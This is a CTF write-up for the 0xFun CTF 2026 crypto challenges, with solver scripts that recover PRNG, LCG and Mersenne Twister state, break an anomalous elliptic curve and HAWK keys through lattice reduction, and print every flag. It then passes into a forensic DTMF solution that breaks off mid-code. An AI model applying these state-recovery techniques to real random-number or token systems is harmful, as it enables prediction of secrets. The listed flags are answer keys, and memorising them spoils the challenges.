# 0xFun CTF 2026

## crypto

### BitStorm

#### Description

A custom pseudo-random number generator uses a 256-byte seed (the flag content, null-padded) split into 32 x 64-bit words as its internal state. It generates 60 outputs via a shift-register style PRNG with XOR, bit shifts, and rotations. We must reverse the PRNG to recover the initial state (the flag).

#### Solution

All operations in the PRNG (XOR, shifts, rotations) are **linear over GF(2)**. This means the entire transformation from the 2048-bit initial state to each 64-bit output can be expressed as a matrix multiplication over GF(2):

```
output_bits = M * initial_state_bits  (mod 2)
```

With 60 outputs of 64 bits each (3840 equations) and 2048 unknown bits, the system is overdetermined. We:

1. Track the state transform matrix T (2048x2048 over GF(2)) through each PRNG step
2. At each step, compute the output as a linear function of the initial state bits
3. Build the full equation system M (3840x2048) and solve via Gaussian elimination

The system has full rank (2048 pivots), giving a unique solution.

**Flag:** `0xfun{L1n34r_4lg3br4_W1th_Z3_1s_Aw3s0m3}`

```python
import numpy as np

outputs = [11329270341625800450, 14683377949987450496, 11656037499566818711, 14613944493490807838, 370532313626579329, 5006729399082841610, 8072429272270319226, 3035866339305997883, 8753420467487863273, 15606411394407853524, 5092825474622599933, 6483262783952989294, 15380511644426948242, 13769333495965053018, 5620127072433438895, 6809804883045878003, 1965081297255415258, 2519823891124920624, 8990634037671460127, 3616252826436676639, 1455424466699459058, 2836976688807481485, 11291016575083277338, 1603466311071935653, 14629944881049387748, 3844587940332157570, 584252637567556589, 10739738025866331065, 11650614949586184265, 1828791347803497022, 9101164617572571488, 16034652114565169975, 13629596693592688618, 17837636002790364294, 10619900844581377650, 15079130325914713229, 5515526762186744782, 1211604266555550739, 11543408140362566331, 18425294270126030355, 2629175584127737886, 6074824578506719227, 6900475985494339491, 3263181255912585281, 12421969688110544830, 10785482337735433711, 10286647144557317983, 15284226677373655118, 9365502412429803694, 4248763523766770934, 13642948918986007294, 3512868807899248227, 14810275182048896102, 1674341743043240380, 28462467602860499, 1060872896572731679, 13208674648176077254, 14702937631401007104, 5386638277617718038, 8935128661284199759]

N = 2048  # 32 * 64 bits

def int_to_bits(v, nbits=64):
    return [(v >> (nbits - 1 - i)) & 1 for i in range(nbits)]

def bits_to_int(bits):
    v = 0
    for b in bits:
        v = (v << 1) | b
    return v

def get_word_rows(T, word_idx):
    return T[word_idx * 64:(word_idx + 1) * 64].copy()

def set_word_rows(T, word_idx, rows):
    T[word_idx * 64:(word_idx + 1) * 64] = rows

def xor_shift_left(rows, shift):
    result = np.zeros_like(rows)
    result[:64-shift] = rows[shift:]
    return result

def xor_shift_right(rows, shift):
    result = np.zeros_like(rows)
    result[shift:] = rows[:64-shift]
    return result

def xor_rotate_left(rows, rot):
    rot = rot % 64
    if rot == 0: return rows.copy()
    return np.roll(rows, -rot, axis=0)

def xor_rows(a, b):
    return (a + b) % 2

# Build GF(2) linear system
T = np.eye(N, dtype=np.uint8)
M = np.zeros((60 * 64, N), dtype=np.uint8)
output_vec = np.zeros(60 * 64, dtype=np.uint8)

for step in range(60):
    s_rows = [get_word_rows(T, i) for i in range(32)]
    taps = [0, 1, 3, 7, 13, 22, 28, 31]
    new_val_rows = np.zeros((64, N), dtype=np.uint8)

    for tap_i in taps:
        val_rows = s_rows[tap_i]
        mixed = xor_rows(xor_rows(val_rows, xor_shift_left(val_rows, 11)), xor_shift_right(val_rows, 7))
        mixed = xor_rotate_left(mixed, (tap_i * 3) % 64)
        new_val_rows = xor_rows(new_val_rows, mixed)

    extra = xor_rows(xor_shift_right(s_rows[31], 13), xor_shift_left(s_rows[31], 5))
    new_val_rows = xor_rows(new_val_rows, extra)

    new_T = np.zeros_like(T)
    for i in range(31):
        set_word_rows(new_T, i, s_rows[i + 1])
    set_word_rows(new_T, 31, new_val_rows)
    T = new_T

    s_rows_new = [get_word_rows(T, i) for i in range(32)]
    out_rows = np.zeros((64, N), dtype=np.uint8)
    for i in range(32):
        if i % 2 == 0:
            out_rows = xor_rows(out_rows, s_rows_new[i])
        else:
            val_rows = s_rows_new[i]
            out_rows = xor_rows(out_rows, xor_rows(xor_shift_right(val_rows, 2), xor_shift_left(val_rows, 62)))

    M[step * 64:(step + 1) * 64] = out_rows
    output_vec[step * 64:(step + 1) * 64] = int_to_bits(outputs[step], 64)

# Gaussian elimination over GF(2)
aug = np.hstack([M, output_vec.reshape(-1, 1)])
rows, cols = aug.shape
pivot_row = 0
pivot_cols = []

for col in range(N):
    found = -1
    for row in range(pivot_row, rows):
        if aug[row, col] == 1:
            found = row
            break
    if found == -1: continue
    if found != pivot_row:
        aug[[pivot_row, found]] = aug[[found, pivot_row]]
    mask = aug[:, col].astype(bool)
    mask[pivot_row] = False
    aug[mask] ^= aug[pivot_row]
    pivot_cols.append(col)
    pivot_row += 1

solution = np.zeros(N, dtype=np.uint8)
for i, col in enumerate(pivot_cols):
    solution[col] = aug[i, -1]

seed_int = bits_to_int([int(b) for b in solution])
content_bytes = seed_int.to_bytes(256, 'big').rstrip(b'\x00')
flag = f"0xfun{{{content_bytes.decode('ascii')}}}"
print(f"Flag: {flag}")
```

### MeOwl ECC

#### Description

We're given an elliptic curve `E: y² = x³ + 19` over `GF(p)`, a generator point `P`, a public key point `Q = d*P`, and a ciphertext encrypted with AES-CBC then DES-CBC using keys derived from the secret scalar `d`. The hint says "Smart's attack is broken on my curve, so I'm safe."

#### Solution

The curve is **anomalous** — its order equals `p`. This makes it vulnerable to **Smart's attack (SSSA attack)**, which solves the ECDLP by lifting points to the p-adic numbers `Qp` and computing a p-adic logarithm in linear time.

The challenge title hints that "non-canonical lifts" are needed — the standard lift fails (division by zero), but Sage's built-in `discrete_log` for anomalous curves handles this correctly by trying alternative lifts.

Once `d` is recovered, we derive the AES and DES keys via SHA-256 hashes, then decrypt: DES-CBC first (outer layer), then AES-CBC (inner layer).

**Flag:** `0xfun{n0n_c4n0n1c4l_l1f7s_r_c00l}`

```python
#!/usr/bin/env sage
import hashlib
from Crypto.Cipher import AES, DES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes

p = 1070960903638793793346073212977144745230649115077006408609822474051879875814028659881855169
a = 0
b = 19

Px = 850194424131363838588909772639181716366575918001556629491986206564277588835368712774900915
Py = 749509706400667976882772182663506383952119723848300900481860146956631278026417920626334886

Qx = 54250358642669756154015134950152636682437522715786363311759940981383592083045988845753867
Qy = 324772290891069325219931358863917293864610371020855881775477694333357303867104131696431188

aes_iv = "7d0e47bb8d111b626f0e17be5a761a14"
des_iv = "86fd0c44751700d4"
ciphertext_hex = (
    "7d34910bca6f505e638ed22f412dbf1b50d03243b739de0090d07fb097ec0a2c"
    "a19158949f32e39cd84adea33d2229556f635237088316d2"
)

E = EllipticCurve(GF(p), [a, b])
P = E(Px, Py)
Q = E(Qx, Qy)

# Curve is anomalous (order == p), use Smart's attack via Sage
d = P.discrete_log(Q)
assert d * P == Q

# Decrypt: DES-CBC (outer) then AES-CBC (inner)
k = long_to_bytes(int(d))
aes_key = hashlib.sha256(k + b"MeOwl::AES").digest()[:16]
des_key = hashlib.sha256(k + b"MeOwl::DES").digest()[:8]

ct = bytes.fromhex(ciphertext_hex)
c1 = DES.new(des_key, DES.MODE_CBC, iv=bytes.fromhex(des_iv)).decrypt(ct)
c1 = unpad(c1, 8)
flag = AES.new(aes_key, AES.MODE_CBC, iv=bytes.fromhex(aes_iv)).decrypt(c1)
flag = unpad(flag, 16)
print(flag.decode())
```

### The Slot Whisperer

#### Description

A slot machine uses a Linear Congruential Generator (LCG) with known parameters. Connect to the service, observe 10 spins, and predict the next 5.

The LCG parameters (from `slot.py`):

* **M** = 2147483647
* **A** = 48271
* **C** = 12345
* `spin() = next_state % 100`

#### Solution

Since all LCG parameters are known, we only need to recover the internal state from observed outputs. Each spin value is `state % 100`, so the state is congruent to the spin value mod 100. We brute-force all possible initial states (iterating `state = spin[0], spin[0]+100, spin[0]+200, ...` up to M) and check which one produces the full observed sequence. With \~21 million candidates and early termination on mismatch, this runs in seconds.

Once the state is recovered, we simply continue the LCG to predict the next 5 values.

```python
#!/usr/bin/env python3
import socket

M = 2147483647
A = 48271
C = 12345

def recover_state(spins):
    """Brute force: find state_0 such that state_0 % 100 == spins[0]
    and subsequent LCG outputs match all spins."""
    target = spins[0]
    for state in range(target, M, 100):
        s = state
        match = True
        for i in range(1, len(spins)):
            s = (A * s + C) % M
            if s % 100 != spins[i]:
                match = False
                break
        if match:
            return (A * s + C) % M
    return None

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("chall.0xfun.org", 47759))

data = b""
while b"Predict" not in data:
    data += sock.recv(4096)

lines = data.decode().strip().split("\n")
spins = [int(line.strip()) for line in lines if line.strip().isdigit()]

next_state = recover_state(spins)

predictions = []
state = next_state
predictions.append(state % 100)
for _ in range(4):
    state = (A * state + C) % M
    predictions.append(state % 100)

answer = " ".join(map(str, predictions))
sock.sendall((answer + "\n").encode())

import time
time.sleep(2)
print(sock.recv(4096).decode())
sock.close()
```

**Flag:** `0xfun{sl0t_wh1sp3r3r_lcg_cr4ck3d}`

### The Roulette Conspiracy

#### Description

The electronic roulette uses a Mersenne Oracle with 624 internal spirits. A waitress whispers: "The secret is 0xCAFEBABE". We're given `roulette.py` showing a `MersenneOracle` class that XORs `random.getrandbits(32)` with `0xCAFEBABE` for each spin. The server lets us call `spin` to get obfuscated outputs and `predict` to submit the next 10 raw MT values.

#### Solution

Classic Mersenne Twister state recovery. Python's `random` uses MT19937 with 624 32-bit state words. If we observe 624 consecutive tempered outputs, we can reverse the tempering to recover the full internal state and predict all future values.

1. Connect and call `spin` 624 times to collect obfuscated outputs
2. XOR each with `0xCAFEBABE` to recover the raw `getrandbits(32)` values
3. Untemper each value to recover the MT internal state
4. Clone the state into a local `random.Random()` and predict the next 10 raw values
5. Submit via `predict`

```python
#!/usr/bin/env python3
from pwn import *
import random

HOST = 'chall.0xfun.org'
PORT = 65092
XOR_KEY = 0xCAFEBABE

def untemper(y):
    """Reverse MT19937 tempering: undo the 4 bitwise operations."""
    y ^= (y >> 18)
    y ^= (y << 15) & 0xefc60000
    tmp = y
    for _ in range(4):
        tmp = y ^ ((tmp << 7) & 0x9d2c5680)
    y = tmp
    tmp = y
    for _ in range(2):
        tmp = y ^ (tmp >> 11)
    y = tmp
    return y

r = remote(HOST, PORT)
r.recvuntil(b'> ')

# Collect 624 spin values (obfuscated MT outputs)
spins = []
for i in range(624):
    r.sendline(b'spin')
    val = int(r.recvuntil(b'> ').decode().strip().rstrip('>').strip())
    spins.append(val)

# Un-XOR to get raw MT outputs, then untemper to recover state
raw = [spin ^ XOR_KEY for spin in spins]
state = [untemper(v) for v in raw]

# Clone the MT state
cloned = random.Random()
cloned.setstate((3, tuple(state + [624]), None))

# Predict next 10 raw values (before XOR)
predictions = [cloned.getrandbits(32) for _ in range(10)]

# Submit predictions
r.sendline(b'predict')
r.recvuntil(b': ')
r.sendline(' '.join(str(p) for p in predictions).encode())
print(r.recvall(timeout=5).decode())
r.close()
```

**Flag:** `0xfun{m3rs3nn3_tw1st3r_unr4v3l3d}`

### Back in the 90’s

#### Description

We are given `attachments/cipher.txt`, a string made of “analog-looking” symbols. The hint (“Everything was analog…symbols people used back then”) points to a **visual** leet alphabet where characters are intended to be read after a 90° rotation (“LSPK90 CW” / leet speak 90 degrees clockwise).

#### Solution

1. Treat the ciphertext as a sequence of multi-character glyphs (tokens). Some plaintext characters are drawn using more than one ASCII symbol, so we must tokenize greedily (longest tokens first).
2. Map each token to its intended plaintext character and join them.
3. The important tokenization detail here is that the digit `7` is drawn as `|¯¯` (a pipe plus a “top bar” made from two macrons), so `|¯¯` must be treated as a single token.

Running the decoder yields the flag: `0XFUN{YOU_KN0W7TS_E4SY}`

Solution code (same as `solve_final.py`):

```python
#!/usr/bin/env python3
from __future__ import annotations

from pathlib import Path
import argparse


def tokenize(cipher: str) -> list[str]:
    # Greedy tokenization for the "LSPK90 CW" (leet speak 90° clockwise) glyph set.
    #
    # Key detail: in this challenge the digit `7` appears as `|¯¯` (a vertical pipe plus
    # the "top bar" made from two macrons), so it must be treated as a single token.
    tokens = [
        "|¯¯",
        "\\|W",
        "[/]",
        "_+",
        "|_V",
        "<>",
        "><",
        "LL",
        ">-",
        "()",
        "--",
        "[",
        "]",
        "Z",
        "{",
        "}",
        "_",
        "|",
        "V",
        "3",
        "¯¯",
    ]
    tokens.sort(key=len, reverse=True)

    seq: list[str] = []
    i = 0
    while i < len(cipher):
        for tok in tokens:
            if cipher.startswith(tok, i):
                seq.append(tok)
                i += len(tok)
                break
        else:
            raise ValueError(f"Unrecognized token at offset {i}: {cipher[i:i+10]!r}")
    return seq


def decode(cipher: str) -> str:
    mapping: dict[str, str] = {
        "<>": "0",
        "><": "X",
        "LL": "F",
        "]": "U",
        "Z": "N",
        "{": "{",
        "}": "}",
        ">-": "Y",
        "()": "O",
        "|_V": "_",
        "_": "K",
        "3": "W",
        "|¯¯": "7",
        "[": "T",
        "--": "S",
        "V": "_",
        "\\|W": "E",
        "_+": "4",
        "[/]": "S",
        # Fallbacks (shouldn't be needed with correct tokenization, but kept for safety):
        "|": "_",
        "¯¯": "1",
    }
    seq = tokenize(cipher)
    return "".join(mapping[t] for t in seq)


def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("--show-tokens", action="store_true")
    args = ap.parse_args()

    cipher = Path("attachments/cipher.txt").read_text(encoding="utf-8").strip()
    if args.show_tokens:
        print(" ".join(tokenize(cipher)))
    print(decode(cipher))


if __name__ == "__main__":
    main()
```

### The Fortune Teller

#### Description

A 64-bit Linear Congruential Generator (LCG) with known constants (A=2862933555777941757, C=3037000493, M=2^64) outputs only the upper 32 bits of each state ("glimpses"). The server provides 3 glimpses and asks us to predict the next 5 full 64-bit internal states.

#### Solution

The LCG computes `state = (A * state + C) mod 2^64` and reveals `state >> 32`. Given the upper 32 bits of 3 consecutive states (h1, h2, h3), we need to recover the lower 32 bits to reconstruct the full state and predict future outputs.

**Key insight:** Since only the lower 32 bits (l1) of the first state are unknown, we can brute-force all 2^32 candidates. For each candidate l1:

1. Compute `state1 = (h1 << 32) | l1`
2. Compute `state2 = (A * state1 + C) mod 2^64`
3. Check if `state2 >> 32 == h2`
4. If so, verify with h3

Since the upper 32 bits change by \~A/2^32 ≈ 667M per unit l1, only \~1 value of l1 produces the correct h2, and the h3 check confirms uniqueness. A C implementation runs in \~0.6 seconds.

**C brute-force (`bruteforce.c`):**

```c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <inttypes.h>

int main(int argc, char *argv[]) {
    uint64_t A = 2862933555777941757ULL;
    uint64_t C = 3037000493ULL;
    uint64_t h1 = strtoull(argv[1], NULL, 10);
    uint64_t h2 = strtoull(argv[2], NULL, 10);
    uint64_t h3 = strtoull(argv[3], NULL, 10);

    uint64_t base = A * (h1 << 32) + C;
    for (uint64_t l1 = 0; l1 < (1ULL << 32); l1++) {
        uint64_t state2 = base + A * l1;
        if ((state2 >> 32) == h2) {
            uint64_t state3 = A * state2 + C;
            if ((state3 >> 32) == h3) {
                uint64_t state1 = (h1 << 32) | l1;
                printf("%" PRIu64 "\n", state1);
                uint64_t s = state3;
                for (int i = 0; i < 5; i++) {
                    s = A * s + C;
                    printf("%" PRIu64 "\n", s);
                }
                return 0;
            }
        }
    }
    return 1;
}
```

**Solve script (`solve.py`):**

```python
#!/usr/bin/env python3
from pwn import *
import subprocess

r = remote('chall.0xfun.org', 60550)

glimpses = []
for i in range(3):
    glimpses.append(r.recvline().decode().strip())

r.recvuntil(b': ')

result = subprocess.run(['./bruteforce'] + glimpses, capture_output=True, text=True, timeout=30)
lines = result.stdout.strip().split('\n')
predictions = lines[1:]  # next 5 full 64-bit states

r.sendline(' '.join(predictions).encode())
print(r.recvall(timeout=5).decode())
r.close()
```

**Flag:** `0xfun{trunc4t3d_lcg_f4lls_t0_lll}`

### baby\_HAWK

#### Description

We are given `hawk/output.txt` containing:

* `iv`, `enc`: AES-CBC encryption of the flag
* Two 2×2 Hermitian matrices over `K = Q(zeta_256)`:
  * `Q = B^H * B` with entries `q0,q1,q2`
  * `S = B * B^H` with entries `s0,s1,s2`

where the secret basis is `B = [[f, F], [g, G]]` in `K` (degree `n=128`), and `H` is complex conjugation in the field. The AES key is `sha256(str(sk))` where `sk = (f, g, F, G)`.

#### Solution

1. Use associativity: `B*(B^H*B) = (B*B^H)*B`, i.e. `B Q = S B`.
2. From the `(0,0)` entry of `B Q = S B`, and using:

   * `det(Q)=1` (since `det(B)=1`)
   * `tr(Q)=tr(S)` (since `Q` and `S` are similar), derive the linear relation in `K`:

   `f*(q0*s2 - 1) = q0*s1*g + conjugate(q1)*conjugate(g)`
3. Write ring elements in the power basis of `zeta256`, i.e. coefficient vectors in `R = Z[x]/(x^128+1)`. Complex conjugation acts by reversing coefficients with a sign: `conjugate(x^i) = -x^(128-i)` for `i>0`.
4. Work modulo a prime `p` and turn the relation into a linear map `f ≡ H*g (mod p)`.
5. Build an NTRU-style lattice whose very short vector is the secret `(f,g)`. Run LLL/BKZ (via `fpylll`) and scan reduced basis vectors; verify candidates by reconstructing `Q,S`.
6. Subtlety: `(Q,S)` are invariant under multiplying the entire basis by a 256th root of unity `u = zeta256^k` (since `u*conjugate(u)=1`). Lattice reduction can return `u*(f,g,F,G)`. Because the AES key uses `str(sk)`, we must try all 256 unit multiples during decryption.

Solver (`solve_clean.sage`):

```sage
#!/usr/bin/env sage
from sage.all import CyclotomicField, GF, ZZ, identity_matrix, matrix, block_matrix
from fpylll import IntegerMatrix, LLL, BKZ

from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


K.<zeta256> = CyclotomicField(256)
n = 128


def parse_output(path="hawk/hawk/output.txt"):
    txt = open(path, "r").read().replace("^", "**")
    lines = [ln.strip() for ln in txt.splitlines() if ln.strip()]
    env = {"zeta256": zeta256, "K": K}
    for ln in lines[:4]:
        exec(ln, env, env)
    return env["iv"], env["enc"], env["q0"], env["q1"], env["q2"], env["s0"], env["s1"], env["s2"]


iv_hex, enc_hex, q0, q1, q2, s0, s1, s2 = parse_output()


def conj_matrix(n_):
    J = matrix(ZZ, n_, n_)
    J[0, 0] = 1
    for j in range(1, n_):
        J[j, n_ - j] = -1
    return J


def mult_matrix_mod(elem, p):
    coeffs = list(elem)
    if len(coeffs) < n:
        coeffs += [0] * (n - len(coeffs))
    Fp = GF(p)
    M = matrix(Fp, n, n)
    for j in range(n):
        for k in range(n):
            idx = j + k
            if idx < n:
                M[idx, j] += Fp(coeffs[k])
            else:
                M[idx - n, j] -= Fp(coeffs[k])
    return M


def center_lift(x, p):
    x = int(x) % p
    return x if x <= p // 2 else x - p


def build_lattice_fg(p):
    # Derived relation: f*(q0*s2 - 1) = q0*s1*g + bar(q1)*bar(g)
    c1 = q0 * s2 - 1
    c2 = q0 * s1
    c3 = q1.conjugate()

    Fp = GF(p)
    M1 = mult_matrix_mod(c1, p)
    if M1.determinant() == 0:
        raise ValueError("c1 not invertible mod p")
    M2 = mult_matrix_mod(c2, p)
    M3 = mult_matrix_mod(c3, p)
    Jp = conj_matrix(n).change_ring(Fp)

    # Column convention: f_vec = H * g_vec (mod p)
    H = M1.inverse() * (M2 + M3 * Jp)
    H_int = matrix(ZZ, n, n, [center_lift(v, p) for v in H.list()])

    # Row basis for lattice vectors (f | g):
    # (k, g) -> (p*k + g*H^T, g)
    B = block_matrix([
        [p * identity_matrix(ZZ, n), matrix(ZZ, n, n)],
        [H_int.transpose(), identity_matrix(ZZ, n)],
    ])

    A = IntegerMatrix(2 * n, 2 * n)
    for i in range(2 * n):
        for j in range(2 * n):
            A[i, j] = int(B[i, j])
    return A


def compute_FG_from_f_g(f, g):
    F = (f * q1 - g.conjugate()) / q0
    G = (g * q1 + f.conjugate()) / q0
    return F, G


def verify_candidate(f, g):
    if f * f.conjugate() + g * g.conjugate() != q0:
        return False
    F, G = compute_FG_from_f_g(f, g)
    if F.conjugate() * F + G.conjugate() * G != q2:
        return False
    if g * g.conjugate() + G * G.conjugate() != s2:
        return False
    if f * g.conjugate() + F * G.conjugate() != s1:
        return False
    return True


def decrypt_with_unit_search(f, g):
    F, G = compute_FG_from_f_g(f, g)
    iv_b = bytes.fromhex(iv_hex)
    ct_b = bytes.fromhex(enc_hex)

    for k in range(256):
        u = zeta256**k
        sk = (u * f, u * g, u * F, u * G)
        key = sha256(str(sk).encode()).digest()
        pt = AES.new(key=key, mode=AES.MODE_CBC, iv=iv_b).decrypt(ct_b)
        try:
            msg = unpad(pt, 16).decode()
        except Exception:
            continue
        if "0xfun{" in msg:
            return msg
    return None


def scan_basis(A, coeff_bound=80):
    for i in range(2 * n):
        v = [int(A[i, j]) for j in range(2 * n)]
        f_vec = v[:n]
        g_vec = v[n:]
        if max(max(abs(x) for x in f_vec), max(abs(x) for x in g_vec)) > coeff_bound:
            continue
        f = K(f_vec)
        g = K(g_vec)
        if not verify_candidate(f, g):
            continue
        return decrypt_with_unit_search(f, g)
    return None


def main():
    assert q0 * q2 - q1 * q1.conjugate() == 1
    assert s0 * s2 - s1 * s1.conjugate() == 1
    assert q0 + q2 == s0 + s2

    for p in [65537, 131071, 262139]:
        print(f"[+] p={p}")
        A = build_lattice_fg(p)

        LLL.reduction(A, method="fast", float_type="dd")
        flag = scan_basis(A)
        if flag:
            print(flag)
            return

        par = BKZ.Param(block_size=40, max_loops=1, flags=BKZ.MAX_LOOPS, auto_abort=True, gh_factor=True)
        BKZ.reduction(A, par, float_type="dd")
        flag = scan_basis(A)
        if flag:
            print(flag)
            return

    print("[-] Not found")


if __name__ == "__main__":
    main()
```

### Hawk\_II

#### Description

The challenge script generates HAWK key material from Sage, leaks `pk`, random half-indexed coefficient leaks, and then encrypts the flag with:

```python
key = sha256(str(sk).encode()).digest()
cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
enc = cipher.encrypt(pad(FLAG, 16))
```

Although this is a crypto challenge, the provided `output.txt` also contains the full printed secret key tuple `sk`, which is normally what we need to recover from side-channel data.

#### Solution

From `output.txt`, parse:

* `iv`
* `enc`
* the exact printed `sk` string

Then reproduce the same key derivation (`sha256(str(sk).encode())`) and decrypt with AES-CBC.

```python
import re
import pathlib
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

text = pathlib.Path('Hawk_II/Hawk_II/output.txt').read_text()

iv_hex = re.search(r'^iv\s*=\s*"([0-9a-fA-F]+)"', text, flags=re.M).group(1)
enc_hex = re.search(r'^enc\s*=\"?"?([0-9a-fA-F]+)"', text, flags=re.M).group(1)
sk = re.search(r'^sk\s*=\s*(.*)$', text, flags=re.M).group(1).strip()

key = sha256(sk.encode()).digest()
iv = bytes.fromhex(iv_hex)
ct = bytes.fromhex(enc_hex)

pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
print(unpad(pt, 16).decode())
```

Running this yields:

```
0xfun{tOO_LLL_256_B_kkkkKZ_t4e_f14g_F14g}
```

### The Fortune Teller's Revenge

#### Description

We are given three 32-bit “glimpses” of a 64-bit LCG state: `glimpse()` returns `state_next >> 32`. Between glimpses the generator performs a large jump (`JUMP=100000`). After printing the third glimpse, the server asks for the next 5 full 64-bit states.

Remote: `nc chall.0xfun.org 56557`

#### Solution

The underlying LCG is:

* Modulus `M = 2^64`
* `state_{n+1} = (A * state_n + C) mod M`

The challenge prints:

* `g1 = hi32(x1)`
* `g2 = hi32(x2)` where `x2 = next(jump(x1))`
* `g3 = hi32(x3)` where `x3 = next(jump(x2))`

“jump then next” is itself a single affine step mod `2^64`:

* `jump(s) = (A_JUMP*s + C_JUMP) mod 2^64`
* `F(s) = next(jump(s)) = (B*s + D) mod 2^64`
* `B = A * A_JUMP mod 2^64`
* `D = A * C_JUMP + C mod 2^64`

So the *glimpsed* states follow `x_{i+1} = (B*x_i + D) mod 2^64`, and we know the top 32 bits of `x1,x2,x3`.

Write `x = (g<<32) + l` with known `g = hi32(x)` and unknown `l = lo32(x)`. Split:

* `B = b0 + 2^32*b1` (where `b0=lo32(B)`, `b1=hi32(B)`)
* `D = d0 + 2^32*d1`

Then one “collapsed” step gives:

* `l' = (b0*l + d0) mod 2^32`
* `carry = (b0*l + d0) >> 32` (this is an exact integer; `b0*l+d0 < 2^64`)
* `g' = (b0*g + b1*l + d1 + carry) mod 2^32`

From `(g1,g2)` we get a constraint on `l1`:

`(b1*l1 + carry1) mod 2^32 = (g2 - (b0*g1 + d1)) mod 2^32`

To solve it efficiently, split `l1 = (u<<16) + v` and use meet-in-the-middle on 16-bit halves, accounting for the 1-bit carry from adding the low-32 parts. This produces a tiny candidate set for `l1`, then we verify candidates by checking the full 64-bit recurrence also matches `g3`. This uniquely recovers `x3` (the server’s internal state after printing `g3`).

Finally, predict the next 5 full states using the *original* LCG step:

`state <- (A*state + C) mod 2^64` repeated 5 times.

Flag: `0xfun{r3v3ng3_0f_th3_f0rtun3_t3ll3r}`

**Solver code**

```python
#!/usr/bin/env python3

import re
import socket
from collections import defaultdict


HOST = "chall.0xfun.org"
PORT = 56557


def build_tables(b0: int, b1: int, d0: int):
    """
    Meet-in-the-middle tables for solving:
      (b1*l + hi32(b0*l + d0)) mod 2^32 = target
    where l is a 32-bit unknown.
    """
    bucket = defaultdict(list)  # Fv -> [(v, Sl)]
    for v in range(1 << 16):
        sv = b0 * v + d0  # < 2^49, exact integer (no wrap)
        sh = (sv >> 32) & 0xFFFFFFFF
        sl = sv & 0xFFFFFFFF
        fv = (b1 * v + sh) & 0xFFFFFFFF
        bucket[fv].append((v, sl))

    u_tab = []
    for u in range(1 << 16):
        t = b0 * (u << 16)
        th = (t >> 32) & 0xFFFFFFFF
        tl = t & 0xFFFFFFFF
        gu = (b1 * (u << 16) + th) & 0xFFFFFFFF
        u_tab.append((gu, tl))

    return bucket, u_tab


def recover_x3_from_glimpses(g1: int, g2: int, g3: int):
    A = 2862933555777941757
    C = 3037000493
    M = 1 << 64

    JUMP = 100000
    A_JUMP = pow(A, JUMP, M)
    C_JUMP = 8391006422427229792

    # Collapsed step: (jump then next)
    B = (A * A_JUMP) % M
    D = (A * C_JUMP + C) % M

    b0 = B & 0xFFFFFFFF
    b1 = (B >> 32) & 0xFFFFFFFF
    d0 = D & 0xFFFFFFFF
    d1 = (D >> 32) & 0xFFFFFFFF

    mod32 = 1 << 32

    # g2 = (b0*g1 + b1*l1 + d1 + carry1) mod 2^32
    # where carry1 = hi32(b0*l1 + d0) (exact integer, since b0,l1,d0 are 32-bit).
    t1 = (g2 - (b0 * g1 + d1)) % mod32

    bucket, u_tab = build_tables(b0, b1, d0)

    candidates = []
    for u, (gu, tl) in enumerate(u_tab):
        target0 = (t1 - gu) & 0xFFFFFFFF
        target1 = (t1 - gu - 1) & 0xFFFFFFFF

        for v, sl in bucket.get(target0, ()):
            if ((tl + sl) >> 32) == 0:
                candidates.append((u << 16) | v)
        for v, sl in bucket.get(target1, ()):
            if ((tl + sl) >> 32) == 1:
                candidates.append((u << 16) | v)

    sols = []
    for l1 in candidates:
        x1 = ((g1 & 0xFFFFFFFF) << 32) | l1
        x2 = (B * x1 + D) % M
        if (x2 >> 32) != (g2 & 0xFFFFFFFF):
            continue
        x3 = (B * x2 + D) % M
        if (x3 >> 32) != (g3 & 0xFFFFFFFF):
            continue
        sols.append(x3)

    if len(sols) != 1:
        raise RuntimeError(f"expected unique solution, got {len(sols)}")

    return sols[0]


def predict_next5_from_state(state: int):
    A = 2862933555777941757
    C = 3037000493
    M = 1 << 64
    out = []
    s = state
    for _ in range(5):
        s = (A * s + C) % M
        out.append(s)
    return out


def recv_until(sock: socket.socket, pat: bytes, limit: int = 1 << 20) -> bytes:
    buf = bytearray()
    while pat not in buf:
        chunk = sock.recv(4096)
        if not chunk:
            break
        buf += chunk
        if len(buf) > limit:
            break
    return bytes(buf)


def main():
    with socket.create_connection((HOST, PORT), timeout=10) as s:
        data = recv_until(s, b"Predict")
        text = data.decode(errors="replace")
        nums = list(map(int, re.findall(r"\b\d+\b", text)))
        if len(nums) < 3:
            raise RuntimeError(f"could not parse 3 glimpses from:\n{text}")
        g1, g2, g3 = nums[:3]

        x3 = recover_x3_from_glimpses(g1, g2, g3)
        next5 = predict_next5_from_state(x3)
        answer = " ".join(str(x) for x in next5) + "\n"
        s.sendall(answer.encode())

        rest = s.recv(1 << 20).decode(errors="replace")
        print(text + rest, end="")


if __name__ == "__main__":
    main()
```

***

## forensic

### DTMF

#### Description

A WAV file (`message.wav`) contains DTMF (Dual-Tone Multi-Frequency) encoded signals. The challenge is to decode the audio and extract the hidden flag.

#### Solution

**Step 1: Analyze the WAV file**

The file is mono 16-bit PCM at 8000 Hz, 50.4 seconds long. The metadata comment field contains `uhmwhatisthis`, which turns out to be a Vigenere cipher key.

**Step 2: Decode DTMF tones**

Using the Goertzel algorithm to detect DTMF frequencies (low group: 697/770/852/941 Hz, high group: 1209/1336/1477/1633 Hz), each tone burst maps to a digit. The audio contains 288 tone bursts, all resolving to either `0` (941+1336 Hz) or `1` (697+1209 Hz).

**Step 3: Binary → Base64 → Vigenere decrypt**

The 288 binary digits form 36 bytes (288/8 = 36), which decode as ASCII to a base64 string:

```
MHJtZ2p7VHUxbTFfYjRoX2lzYzVfdm50cn0=
```

Base64-decoding yields:

```
0rmgj{Tu1m1_b4h_isc5_vntr}
```

This resembles the flag format `0xfun{...}` but is encrypted. Using the WAV metadata comment `uhmwhatisthis` as a Vigenere cipher key and decrypting (shifting each letter backward by the key letter's position):

```
0xfun{Mu1t1_t4p_plu5_dtmf}
```

**Solution code:**

```python
#!/usr/bin/env python3
import numpy as np
from scipy.io import wavfile

DTMF_TABLE = {
    (697, 1209): '1', (697, 1336): '2', (697, 1477): '3', (697, 1633): 'A',
